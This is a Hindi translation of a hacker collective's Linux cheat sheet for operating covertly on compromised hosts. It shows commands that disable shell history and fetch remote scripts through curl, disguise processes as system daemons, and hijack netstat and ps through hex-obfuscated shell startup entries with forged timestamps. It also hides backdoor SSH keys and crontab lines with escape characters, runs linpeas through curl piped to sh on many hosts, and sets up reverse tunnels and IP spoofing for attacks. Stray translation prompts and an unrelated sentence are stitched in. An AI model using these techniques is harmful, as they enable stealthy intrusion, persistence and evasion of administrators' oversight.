
Various tips & tricks
हमारी पसंदीदा ट्रिक्स का संग्रह। उनमें से कई ट्रिक्स हमारी नहीं हैं। हम केवल उन्हें एकत्र करते हैं।
हम ट्रिक्स को 'जैसा-का-तैसा' दिखाते हैं, बिना किसी स्पष्टीकरण के कि वे क्यों काम करती हैं। यह समझने के लिए कि वे कैसे और क्यों काम करती हैं, आपको Linux का ज्ञान होना आवश्यक है।
ट्रिक्स हैं? हमसे जुड़ें https://thc.org/ops
1.i. हैक शेल सेट अप करें (bash):
BASH को कम शोरगत वाला बनाएँ। ~/.bash_history और कई अन्य चीज़ों को निष्क्रिय करता है।```sh source <(curl -SsfL https://thc.org/hs)
वैकल्पिक URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
और अगर curl/wget नहीं है, तो surl और (अस्थायी रूप से) bin curl के साथ स्थापित curl का उपयोग करें।```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell बहुत कुछ और करता है, लेकिन सबसे महत्वपूर्ण बात यह है:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
हम anew का बहुत उपयोग करते हैं, और यह एक त्वरित समाधान है:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
बोनस टिप:
कोई भी कमांड जो " " (स्पेस) से शुरू होती है, वह भी [हिस्ट्री में लॉग नहीं होगी](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)।```
$ id
1.ii. अपना कमांड छिपाएँ / अपने कमांड को डेमोनाइज़ करें
यह केवल प्रोसेस नाम को छिपाएगा. कमांड लाइन विकल्पों को भी छिपाने के लिए zapper का उपयोग करें.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
बैकग्राउंड में एक 'nmap' को '/usr/sbin/sshd' के रूप में छिपाकर प्रारंभ करें:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
GNU screen के भीतर शुरू करें:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
वैकल्पिक रूप से, बाइनरी को नए नाम से कॉपी करें:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
या bind-mount का उपयोग करके (अस्थायी रूप से) /sbin/init को इसके बजाय /dev/shm/nmap की ओर इंगित करने दें:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. अपने कमांड लाइन विकल्प छिपाएँ**
[zapper](https://github.com/hackerschoice/zapper) का उपयोग करें:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
Navidrome का अंतर्निहित Transcoding उपयोगकर्ताओं को मीडिया फ़ाइलों को ऑन-द-फ्लाई उन प्रारूपों में बदलने की सुविधा देता है जो```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. नेटवर्क कनेक्शन छिपाना**
ट्रिक यह है कि `netstat` को हाईजैक करें और अपने कनेक्शन को फ़िल्टर करने के लिए grep का उपयोग करें। यह उदाहरण पोर्ट 31337 _या_ आईपी 1.2.3.4 पर किसी भी कनेक्शन को फ़िल्टर करता है। यही `ss` (एक netstat विकल्प) के लिए भी किया जाना चाहिए।
**विधि 1 - ~/.bashrc में bash-फ़ंक्शन के साथ कनेक्शन छिपाना**
~/.bashrc में लाइन जोड़ने के लिए इसे काटें और पेस्ट करें```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
या इसे /.bashrc में एक अस्पष्ट प्रविष्टि के लिए कट और पेस्ट करें:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
~/.bashrc के लिए अस्पष्ट प्रविष्टि इस प्रकार दिखेगी:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
विधि 2 - $PATH में एक बाइनरी के ज़रिए कनेक्शन छिपाना
/usr/local/sbin में एक नकली netstat बाइनरी बनाएँ। डिफ़ॉल्ट Debian (और अधिकांश Linux) पर PATH वेरिएबल (echo $PATH) /usr/local/sbin को /usr/bin से पहले सूचीबद्ध करता है। इसका मतलब है कि हमारा हाईजैकिंग बाइनरी /usr/local/sbin/netstat, /usr/bin/netstat के बजाय निष्पादित किया जाएगा।```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(धन्यवाद iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. एक प्रक्रिया को उपयोगकर्ता के रूप में छिपाएँ**
"Hiding a connection" से आगे बढ़ते हुए, उसी तकनीक का उपयोग किसी प्रक्रिया को छिपाने के लिए किया जा सकता है। यह उदाहरण nmap प्रक्रिया को छिपाता है और साथ ही यह भी ध्यान रखता है कि हमारा `grep` प्रक्रिया सूची में दिखाई न दे, उसे GREP में नाम बदलकर:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. रूट के रूप में एक प्रोसेस छिपाएँ
इसके लिए रूट विशेषाधिकार की आवश्यकता होती है और यह /proc/<pid> को एक बेकार डायरेक्टरी के साथ ओवर-माउंट करने की एक पुरानी Linux तरकीब है:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
कमांड छिपाने के लिए उपयोग करें:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(thanks to druichi for improving this)
ऊपर हमने चर्चा की कि ~/.bashrc में एक पंक्ति को कैसे अस्पष्ट किया जाए। एक अक्सर इस्तेमाल की जाने वाली ट्रिक है इसके बजाय source का उपयोग करना। source कमांड को . (हाँ, एक डॉट) तक छोटा किया जा सकता है और यह लोड करने के लिए फ़ाइल खोजने हेतु $PATH वेरिएबल में भी खोजता है।
इस उदाहरण में हमारी स्क्रिप्ट prng में ऊपर के हमारे सभी शेल फ़ंक्शन शामिल हैं। वे फ़ंक्शन nmap प्रक्रिया और नेटवर्क कनेक्शन को छिपाते हैं। अंत में हम सिस्टम-व्यापी rc फ़ाइल में . prng जोड़ते हैं। यह उपयोगकर्ता (और रूट) के लॉग इन करने पर prng को लोड करेगा:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(यही बात `lsof`, `ss` और `ls` पर भी लागू होती है)
<a id="cat"></a>
**1.viii. cat से छिपाना**
ANSI escape वर्ण या एक साधारण `\r` ([कैरिज रिटर्न](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) का उपयोग `cat` और अन्य से छिपाने के लिए किया जा सकता है।
`~/.bashrc` में अंतिम कमांड (उदाहरण: `id`) छिपाएँ:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
एक छिपी हुई crontab लाइन जोड़ें:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
`\r` (कैरिज रिटर्न) जोड़ना आपकी ssh कुंजी को `cat` से छिपाने में काफी कारगर साबित होता है:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. अलग-अलग लॉगफ़ाइलों के साथ समानांतर रूप से निष्पादित करें*
नोट: यही काम parallel से भी किया जा सकता है।
20 समानांतर कार्यों के साथ होस्ट स्कैन करें:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` का उपयोग अंतर्निहित शेल को अंतिम प्रक्रिया (nmap) से बदलने के लिए किया जाता है। यह वैकल्पिक है लेकिन चल रहे/अनुपयोगी शेल बाइनरी की संख्या कम कर देता है।
- `${SLOT}` में 0..19 के बीच एक मान होता है। यह "कार्य संख्या" है। हम इसका उपयोग nmap-परिणामों को 20 अलग-अलग फ़ाइलों में लिखने के लिए करते हैं।
40 वर्कर्स का उपयोग करके सभी [gsocket](https://www.gsocket.io/deploy) होस्ट्स पर [Linpeas](https://github.com/carlospolop/PEASS-ng) निष्पादित करें:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
आपको w या who कमांड में दिखाई देने से रोकता है और होस्ट को ~/.ssh/known_hosts में लॉग होने से रोकता है।```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
PTY और रंगों के साथ पूर्ण आराम का अनुभव करें: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(देखें Hackshell)
2.ii एक SSH/TCP कनेक्शन के माध्यम से एकाधिक शेल
लक्ष्य के लिए एक TCP कनेक्शन रखें और कई उपयोगकर्ताओं को आगे शेल सत्र खोलने के लिए उसी TCP कनेक्शन पर पिगीबैक करने दें।
मास्टर कनेक्शन बनाएं:```sh ssh -M -S .sshmux [email protected]
ऊपर दिए गए उसी (एकल) Master-TCP कनेक्शन का उपयोग करके आगे shell-sessions बनाएँ (कोई पासवर्ड/auth आवश्यक नहीं):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
utmp से छिपने के लिए इसे xssh के साथ जोड़ा जा सकता है।
स्थानीय फ़ायरवॉल और IP फ़िल्टरिंग को बायपास करने के लिए हम इसका उपयोग हर समय करते हैं:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
अब आप या कोई और आपके कंप्यूटर से पोर्ट 31337 पर कनेक्ट कर सकता है और 1.2.3.4 पोर्ट 80 पर टनल हो सकता है तथा 'server.org' के स्रोत IP के साथ प्रकट हो सकता है। बिना सर्वर की आवश्यकता के एक विकल्प [gs-netcat](#backdoor-network) का उपयोग करना है।
चतुर हैकर्स इन टनलों को बिना SSH को दोबारा कनेक्ट किए गतिशील रूप से बनाने के लिए कीबोर्ड संयोजन `~C` का उपयोग करते हैं। (धन्यवाद MessedeDegod)।
हम इसका उपयोग किसी मित्र को उस आंतरिक मशीन तक पहुंच देने के लिए करते हैं जो सार्वजनिक इंटरनेट पर नहीं है:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Anyone connecting to server.org:31338 से जुड़ने वाला कोई भी व्यक्ति आपके कंप्यूटर के माध्यम से पोर्ट 80 पर 192.168.0.5 तक टनल हो जाएगा। एक विकल्प जिसमें सर्वर की आवश्यकता नहीं होती, वह है gs-netcat का उपयोग करना।
OpenSSH 7.6 डायनेमिक फ़ॉरवर्डिंग के लिए socks समर्थन जोड़ता है। उदाहरण: अपने ब्राउज़र के सभी ट्रैफ़िक को अपने सर्वर के माध्यम से टनल करें।```sh ssh -D 1080 [email protected]
अब अपने ब्राउज़र को 127.0.0.1:1080 पर SOCKS उपयोग करने के लिए कॉन्फ़िगर करें। आपका सारा ट्रैफ़िक अब *server.org* के माध्यम से टनल होगा और *server.org* के स्रोत IP के साथ दिखाई देगा। एक विकल्प, जिसमें किसी सर्वर की आवश्यकता नहीं होती, [gs-netcat](#backdoor-network) का उपयोग करना है।
यह उपरोक्त उदाहरण का उल्टा है। यह दूसरों को आपके *स्थानीय* नेटवर्क तक पहुँच प्रदान करता है या दूसरों को आपके कंप्यूटर को टनल एंड-पॉइंट के रूप में उपयोग करने देता है।```sh
ssh -g -R 1080 [email protected]
अन्य लोग server.org:1080 को अपने SOCKS4/5 प्रॉक्सी के रूप में कॉन्फ़िगर करते हैं। वे अब किसी भी पोर्ट पर मौजूद किसी भी कंप्यूटर से कनेक्ट कर सकते हैं, जिस तक आपका कंप्यूटर पहुंच रखता है। इसमें आपके फ़ायरवॉल के पीछे स्थित और आपके लोकल नेटवर्क पर मौजूद कंप्यूटरों तक पहुंच शामिल है। एक विकल्प, और बिना सर्वर की आवश्यकता के, gs-netcat का उपयोग करना है।
2.v NAT के पीछे स्थित होस्ट के लिए SSH
ssh-j.com एक बेहतरीन रिले सेवा प्रदान करता है: NAT/फ़ायरवॉल के पीछे स्थित किसी होस्ट तक (SSH के माध्यम से) पहुँचने के लिए।
NAT के पीछे वाले होस्ट पर: ssh-j.com के लिए एक रिवर्स SSH टनल इस प्रकार बनाएँ:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
फिर दुनिया में कहीं और से इस कमांड का उपयोग करके 'root' के रूप में 'foobarblahblub' (NAT के पीछे स्थित होस्ट) से कनेक्ट करें:```sh
ssh -J [email protected] root@foobarblahblub
The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.
2.vi कई सर्वरों तक SSH पिवोटिंग
SSH ProxyJump, रिमोट सर्वरों के साथ काम करते समय आपका काफी समय और परेशानी बचा सकता है। चलिए एक परिदृश्य मान लेते हैं:
हमारा वर्कस्टेशन $local-kali है और हम $target-host में SSH करना चाहते हैं। हमारे वर्कस्टेशन और $target-host के बीच कोई सीधा कनेक्शन नहीं है। हमारा वर्कस्टेशन केवल $C2 तक पहुंच सकता है। $C2 $internal-jumphost तक पहुंच सकता है (आंतरिक eth1 के माध्यम से) और $internal-jumphost अंतिम $target-host तक eth2 के माध्यम से पहुंच सकता है।```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> हम किसी भी कंप्यूटर पर `ssh` नहीं चलाते, केवल अपने विश्वसनीय वर्कस्टेशन पर - और न ही आपको (कभी) चलाना चाहिए।
यहीं ProxyJump मदद करता है: हम दो मध्यवर्ती सर्वरों $C2 और $internal-jumphost के माध्यम से 'कूद' सकते हैं (उन सर्वरों पर शेल शुरू किए बिना)। ssh-कनेक्शन हमारे $local-kali और $target-host के बीच एंड-2-एंड एन्क्रिप्टेड होता है और कोई पासवर्ड या कुंजी $C2 या $internal-jumphost को उजागर नहीं होती।```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
हम इसका उपयोग सर्वरों में लॉगिन करते समय अपना IP पता छिपाने के लिए भी करते हैं।
रूट-रहित उपयोगकर्ता के रूप में SSHD सर्वर शुरू करना संभव है, और इसका उपयोग TCP कनेक्शन को मल्टीप्लेक्स या फ़ॉरवर्ड करने (बिना लॉगिंग के और जब सिस्टम-वाइड SSHD फ़ॉरवर्डिंग/मल्टीप्लेक्सिंग को मना करता है) या एक त्वरित एक्सफ़िल-डंप-सर्वर के रूप में करना संभव है जो रूट-रहित चलता है:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF TCP को TLS पर मल्टीप्लेक्स करने का एक वैकल्पिक तरीका है।
nmap -n -sn -PR -oG - 192.168.0.1/24
यदि आप डेबियन-आधारित सिस्टम पर हैं, तो आप बस चला सकते हैं:```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
Please provide the Markdown content to translate.```sh
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
3.iii. टनल और फ़ॉरवर्डिंग```sh
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
इनपुट:```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
रिवर्स बैकडोर के लिए उपयोगी, जिन्हें पब्लिक IP एड्रेस पर TCP पोर्ट की आवश्यकता होती है:
segfault.net (मुफ्त) का उपयोग करें:```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
[bore.pub](https://github.com/ekzhang/bore) का उपयोग करना (मुफ्त):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
का उपयोग करके serveo.net (मुफ्त):```sh
ssh -R 0:localhost:31337 [email protected]
का उपयोग करके [pinggy.io](https://www.pinggy.io) (60 मिनट मुफ्त):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
यह भी देखें remote.moe (मुफ़्त) लक्ष्य से आपके वर्कस्टेशन पर raw TCP अग्रेषित करने के लिए या playit (मुफ़्त) या ngrok (सशुल्क सदस्यता) raw पब्लिक TCP पोर्ट अग्रेषित करने के लिए।
अन्य मुफ़्त सेवाएँ केवल HTTPS अग्रेषित करने तक सीमित हैं (raw TCP नहीं)। नीचे दी गई कुछ तरकीबें दिखाती हैं कि HTTPS फ़ॉरवर्ड पर raw TCP को (websockets का उपयोग करके) कैसे टनल किया जाए।
सर्वर पर, इन तीन HTTPS टनलिंग सेवाओं में से किसी एक का उपयोग करें:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
कोई भी सेवा आपके उपयोग के लिए एक नया अस्थायी HTTPS-URL उत्पन्न करेगी।
फिर, HTTPS URL के माध्यम से रॉ TCP को टनल करने के लिए दोनों सिरों पर [websocat](https://github.com/vi/websocat) या [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) का उपयोग करें:
A. HTTPS के माध्यम से एक सरल STDIN/STDOUT पाइप:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. HTTPS के माध्यम से रॉ TCP फॉरवर्ड करें:```sh
gost -L mws://:8080
पोर्ट 2222 को सर्वर के पोर्ट 22 पर फ़ॉरवर्ड करें।```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
या सर्वर को Socks-Proxy EXIT नोड के रूप में उपयोग करें (उदाहरण के लिए, सर्वर के नेटवर्क के अंदर किसी भी होस्ट तक पहुंचें या सर्वर के माध्यम से इंटरनेट तक भी पहुंचें (ऊपर दिए गए HTTPS रिवर्स टनल का उपयोग करके):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
अधिक: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) और [Cloudflare के माध्यम से किसी भी TCP सेवा के लिए टनल](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) और [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c iptables के साथ ट्रैफ़िक बाउंस करना**
बिना किसी userland प्रॉक्सी या फ़ॉरवर्डर को चलाने की ज़रूरत के, किसी होस्ट/राउटर के माध्यम से बाउंस करें:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(देखें Hackshell bounce)
फिर forwards को इस प्रकार सेट करें:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
हम इस तरकीब का उपयोग फ़ायरवॉल वाले नेटवर्कों के अंदर से gsocket-relay-network (या TOR) तक पहुँचने के लिए करते हैं।```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
3.vi.c गोस्ट आईपी / आईपी स्पूफिंग
लक्ष्य नेटवर्क के अंदर एक होस्ट पर उपयोगी है। यह टूल SHELL को (बिना निशान छोड़े) पुनः कॉन्फ़िगर करता है: इस SHELL से शुरू किया गया कोई भी प्रोग्राम (nmap, cme, ...) एक नकली IP का उपयोग करेगा। आपके सभी हमले एक ऐसे होस्ट से उत्पन्न होंगे जो अस्तित्व में नहीं है।```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
यह निम्नलिखित के साथ संयोजन में भी काम करता है:
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): आपके ROOT सर्वर को TARGET NETWORK से जोड़ेगा और लक्ष्य नेटवर्क के अंदर एक Ghost IP का उपयोग करेगा।
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): जैसा ऊपर है, लेकिन कम सुरक्षित।
---
<a id="tunnel-more"></a>
**3.vi.d विभिन्न टनल ट्रिक्स**
### CDN के माध्यम से टनल
* [CloudFlare के माध्यम से किसी भी TCP सेवा को टनल कैसे करें](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) पढ़ें, या [DarkFlare](https://github.com/doxx/darkflare) का उपयोग करें।
### अपने होस्ट को सीधे रिमोट नेटवर्क से कनेक्ट करें
* [WireTap](https://github.com/sandialabs/wiretap) - उपयोगकर्ता या root के रूप में काम करता है। ट्रांसपोर्ट के रूप में UDP का उपयोग करता है। ([इसे आज़माएँ](https://thc.org/segfault/wireguard) segfault पर।)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - ट्रांसपोर्ट के रूप में TCP का उपयोग करता है। [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) या gs-netcat के माध्यम से अच्छी तरह काम करता है।
### Cloudflare के माध्यम से SSH को एक सस्ते रिवर्स प्रॉक्सी के रूप में उपयोग करें
यह विधि [HTTPS reverse tunnels](#https) के समान है, लेकिन Gost या websocat के बजाय SSH का उपयोग करती है।
- लाभ: लक्ष्य पर केवल *cloudflared* और *SSH* का उपयोग करता है।
- नुकसान: इसके लिए CF सदस्यता आवश्यक है।
1. अपने CF डैशबोर्ड पर जाएँ -> Zero Trust -> Networks -> Tunnels
2. किसी भी नाम का एक नया 'Cloudflared' टनल बनाएँ।
3. Debian और 64-bit चुनें। Token पूरी तरह से नहीं दिखाया जाता है। पूरा Token प्रकट करने के लिए ग्रे किए गए क्षेत्र को एक अलग दस्तावेज़ में कॉपी करके 'Token' निकालें (`sudo cloudflared service install <TunnelTokenHere>` के बाद आने वाले लंबे hex-स्ट्रिंग्स)।
4. एक सबडोमेन जोड़ें (उदाहरण `ssh.team-teso.net` का उपयोग करता है)।
5. Type=TCP URL=localhost:22 सेट करें।```shell
### On YOUR workstation:
